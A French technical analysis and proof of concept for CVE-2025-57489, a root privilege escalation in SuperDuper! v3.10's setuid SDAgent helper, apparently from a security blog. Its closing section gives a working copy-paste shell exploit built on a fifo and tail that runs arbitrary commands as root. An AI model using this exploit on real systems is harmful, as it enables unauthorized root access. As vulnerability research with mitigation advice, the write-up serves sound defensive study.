
Analyse technique et preuve de concept d'exploitation pour CVE-2025-57489, une vulnérabilité d'élévation de privilèges dans SuperDuper! v3.10 via une conception inappropriée du binaire setuid, permettant l'exécution arbitraire de commandes en tant que root.
Extrait du blog du développeur :
Lorsque le verrou dans SuperDuper est déverrouillé pour permettre l'exécution sans avoir à saisir un mot de passe administrateur, un programme tiers pourrait utiliser notre autorisation pour exécuter autre chose qu'une sauvegarde avec des privilèges administrateur.
Description de la CVE :
Un contrôle d'accès incorrect dans le composant SDAgent de Shirt Pocket SuperDuper! v3.10 permet à des attaquants d'élever leurs privilèges jusqu'à root en raison de l'utilisation inappropriée d'un binaire setuid.
Cet auteur n'est pas le découvreur de la vulnérabilité, qui est identifié par le développeur de SuperDuper comme « chercheur en sécurité anonyme ». Je ne revendique aucun mérite pour la découverte de cette vulnérabilité, j'ai simplement souhaité en faire une analyse technique.
Score CVSS 3.1 : 8.1 : Élevé (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Pour éviter cette vulnérabilité, supprimez l'application SuperDuper! ou appliquez la mise à jour 3.11.
Avertissement : vous devez télécharger la mise à jour directement depuis le site web du développeur pour éviter la vulnérabilité CVE-2025-61228.
Cette analyse d'exploit et cette preuve de concept sont fournies à des fins éducatives uniquement. Utilisez-les à vos propres risques.
Le composant SDAgent de l'application SuperDuper! est un binaire setuid. En raison d'une mauvaise conception/implémentation, SDAgent n'existe que pour exécuter des commandes shell demandées par une autre application, et SDAgent ne semble effectuer aucune vérification de l'application demanderesse, ni mettre en œuvre de garde-fous quant aux types de commandes shell pouvant être demandées. Par conséquent, des attaquants peuvent amener les versions concernées de l'outil SDAgent à exécuter n'importe quelle commande shell avec les privilèges root. Le correctif du développeur ne traite que l'échec de SDAgent à vérifier le demandeur ; il ne corrige pas la conception de l'outil d'aide « marionnette », laissant l'agent potentiellement vulnérable à de futures attaques.
La description du problème par le développeur était vague, mais le commentaire « lorsque le verrou dans SuperDuper est déverrouillé » m'a rapidement mis sur la bonne voie. En partant d'une version plus ancienne (toujours vulnérable) de SuperDuper, j'ai cliqué sur l'icône du verrou et je me suis authentifié. Dans le Moniteur d'activité, j'ai remarqué qu'un nouveau processus lié à SuperDuper apparaissait – SDAgent. J'ai trouvé ce composant dans le fichier du bundle SuperDuper et j'ai examiné ses attributs dans le Terminal. Après avoir désactivé puis réactivé le verrou, j'ai constaté que le fichier SDAgent est un binaire setuid chaque fois que le verrou est déverrouillé. Compte tenu de cet attribut et du nom du fichier, j'en ai conclu qu'il doit s'agir d'un « outil d'aide privilégié », même s'il semblait un peu petit pour cet usage.
Setuid est une forme très ancienne d'élévation de privilèges. En général, vous construisez soit toutes les fonctionnalités « nécessitant root » dans l'outil « helper » et vous lui demandez simplement de faire son travail, soit vous développez un chemin de communication permettant à une application cliente de faire des demandes spécifiques à l'outil d'aide. Mais étant donné la petite taille de ce fichier SDAgent (seulement 137 Ko), il semble peu probable qu'il contienne tout le code nécessitant root pour ce que cette application prétend faire. Ma curiosité éveillée, j'ai exécuté l'utilitaire « strings » sur SDAgent pour avoir une idée de ce qu'il est censé faire. Cela s'est avéré très instructif. Il n'y avait pratiquement aucune sortie (par rapport à ce que l'on voit normalement pour un binaire d'application), et la sortie indique essentiellement que SDAgent n'a qu'une seule fonction : exécuter n'importe quel script shell fourni par le demandeur, par exemple :
% strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
/bin/bash
bash
SDAgent could not fork process
****DONE****
C'est une mauvaise conception de créer un outil d'aide qui exécuterait littéralement n'importe quelle commande ; « ne soyez pas une marionnette » est une règle importante à suivre lors de la création d'un outil d'aide.
Je suis parti de l'hypothèse que SuperDuper doit ouvrir SDAgent, établir un tube de communication, puis envoyer des scripts shell à SDAgent. Après avoir rapidement fouillé dans le bundle de l'application SuperDuper, j'ai vu que j'étais sur la bonne voie. Cette application semble gérer toute son activité de copie via des scripts shell.
J'ai fait quelques tentatives timides pour simplement envoyer des commandes à l'agent via un tube :
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
zsh: done printf "whoami" |
zsh: segmentation fault /Applications/SuperDuper!.app/Contents/MacOS/SDAgent
SDAgent a planté ; je suppose que ce ne sera pas si facile ! Sans me décourager, j'ai commencé à faire des suppositions basées sur le fonctionnement habituel des applications d'aide setuid. Entre deux utilitaires shell, on crée généralement des tubes pour stdin, stdout et stderr, puis on fait un fork et un exec. Le processus enfant hérite d'une copie de chaque tube, de sorte que chaque côté dispose automatiquement de tubes de communication ouverts vers l'autre. Avec une application liée à des frameworks de plus haut niveau, fork() n'est pas une option. À la place, il faudrait développer un moyen de communiquer à l'application enfant la façon dont on compte communiquer avec elle. La sortie de « strings » a fourni un indice :
strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
STDIN_PIPE_READ_FD
%i %i %i
« STDIN_PIPE_READ_FD » – le développeur est très transparent sur ce qui se passe ici. Nous pouvons obtenir un peu plus de contexte sur cette chaîne avec otool :
otool -tV /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
/Applications/SuperDuper!.app/Contents/MacOS/SDAgent:
...
00000001000011a8 leaq 0xa56(%rip), %rdi ## literal pool for: "STDIN_PIPE_READ_FD"
00000001000011af callq 0x1000017f6 ## symbol stub for: _getenv
OK, c'est donc probablement une variable d'environnement. Essayons à nouveau l'astuce de tube simple, et je vais supposer que SDAgent recevra simplement mes commandes depuis son descripteur de fichier stdin (0) :
export STDIN_PIPE_READ_FD=0
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1557%
Après quelques répétitions, il était clair que « 1557 » était l'identifiant du processus SDAgent engendré. Pas très utile (et ce n'était pas la sortie « root » à laquelle je m'attendais), mais cela n'a pas planté cette fois, ce qui était encourageant. J'ai réessayé avec quelque chose qui modifierait le système de fichiers :
printf "touch /Library/test" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1593%
Non, le fichier n'a pas été créé ; il est temps de retrousser mes manches. J'ai désactivé SIP, lancé dtruss et demandé à SuperDuper d'exécuter une tâche. Juste après l'authentification pour démarrer la tâche, j'obtiens la sortie suivante de dtruss (attaché au processus SDAgent) :
read(0x0, "21 23 24 \0", 0x800) = 9 0
dup2(0x15, 0x1, 0x0) = 1 0
dup2(0x17, 0x2, 0x0) = 2 0
write(0x1, "1615\0", 0x4) = 4 0
SDAgent lit initialement l'entrée depuis le descripteur de fichier 0 (stdin) (probablement le FD indiqué par STDIN_PIPE_READ_FD). On le voit ici lire trois nombres. D'après la séquence, je suppose que SuperDuper a ouvert trois tubes et qu'il envoie les extrémités d'écriture, d'écriture et de lecture de ces trois tubes à SDAgent. SDAgent duplique ensuite les deux premiers vers stdout et stderr (je ne peux pas dire à quoi sert le troisième). Enfin, il écrit « 1615 » (le pid actuel de SDAgent) sur stdout (SuperDuper connaît donc maintenant le pid de SDAgent), puis il écoute d'autres commandes sur fd 0. Après quelques essais et erreurs, il est apparu clairement que nous devons envoyer des descripteurs de fichiers à SDAgent avant qu'il n'exécute nos ordres. stdout (1) et stderr (2) sont déjà ouverts et accessibles en écriture dans l'environnement shell, j'ai donc essayé ceux-ci :
printf "1 2 \0whoami\0" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
~ % 1602
Encore une fois, pas de plantage, mais comme un adolescent impatient, SDAgent se termine trop tôt et je n'obtiens pas le résultat « root » attendu. dtruss montre qu'il lit les descripteurs de fichiers, mais ignore le reste. Ce n'est pas surprenant étant donné le terminateur de chaîne nul ; il nous faut probablement un espace entre ces chaînes pour que SDAgent les traite comme des demandes séparées. Nous devrons donc connecter SDAgent à un tube dans lequel nous pouvons écrire plus d'une fois.
À ce stade, je pourrais écrire une simple application C qui ouvre des tubes, crée un processus fils pour SDAgent, écrit les descripteurs de fichiers dans le tube stdin, puis, après une brève pause, envoie ses arguments (c'est-à-dire la charge utile de l'attaque) dans le tube pour les exécuter. Alors que je commençais à écrire ce code, il m'est apparu que je pourrais probablement obtenir toutes les fonctionnalités de ces 50+ lignes de code compilé avec deux simples commandes shell. Je n'ai vraiment besoin que d'une méthode pour établir et maintenir ouvert un tube vers le processus SDAgent. « mkfifo » convient à cet usage : les fifos existent en tant que fichiers sur le disque, mais on peut y connecter des tubes. D'un côté, il nous faut quelque chose qui lise le fifo, puis qui retransmette ce contenu à SDAgent de l'autre côté du tube. Je dois écrire les descripteurs de fichiers dans le tube au départ, mais je dois aussi garder le tube ouvert pour pouvoir envoyer des commandes de charge utile. Si le processus situé de l'un ou l'autre côté du tube se termine, le tube se ferme. L'utilitaire tail et l'opérateur d'arrière-plan ont été essentiels :
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
[1] 1964 1965
Cela a lancé deux tâches d'arrière-plan : tail (1964) et SDAgent (1965). Les deux processus restent actifs en arrière-plan, de sorte que le tube entre eux persiste. tail attend que des données soient ajoutées au fifo, puis les enverra à SDAgent via le tube. Incroyablement simple. Ensuite, envoyons les descripteurs de fichiers :
printf "1 2 \0" > /tmp/puppet
dtruss a montré que SDAgent a lu les descripteurs de fichiers et qu'il est toujours en cours d'exécution, en attendant d'autres entrées. Place au moment de vérité :
printf 'whoami\0' > /tmp/puppet
~ % root
****DONE****
Ça a marché ! Encore ?
printf 'touch /Library/test; ls /Library/test\0' > /tmp/puppet
~ % /Library/test
****DONE****
C'est tout ! Lorsque j'ai tout regroupé dans un seul bloc copier-coller de commandes shell, SDAgent était encore un peu lent à traiter les descripteurs de fichiers. Une courte pause, et c'est parfait :
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
printf "1 2 \0" > /tmp/puppet
sleep 1
printf 'whoami\0' > /tmp/puppet
En matière d'exploits root, celui-ci a été étonnamment facile à découvrir et il est vraiment facile pour un attaquant d'en tirer parti.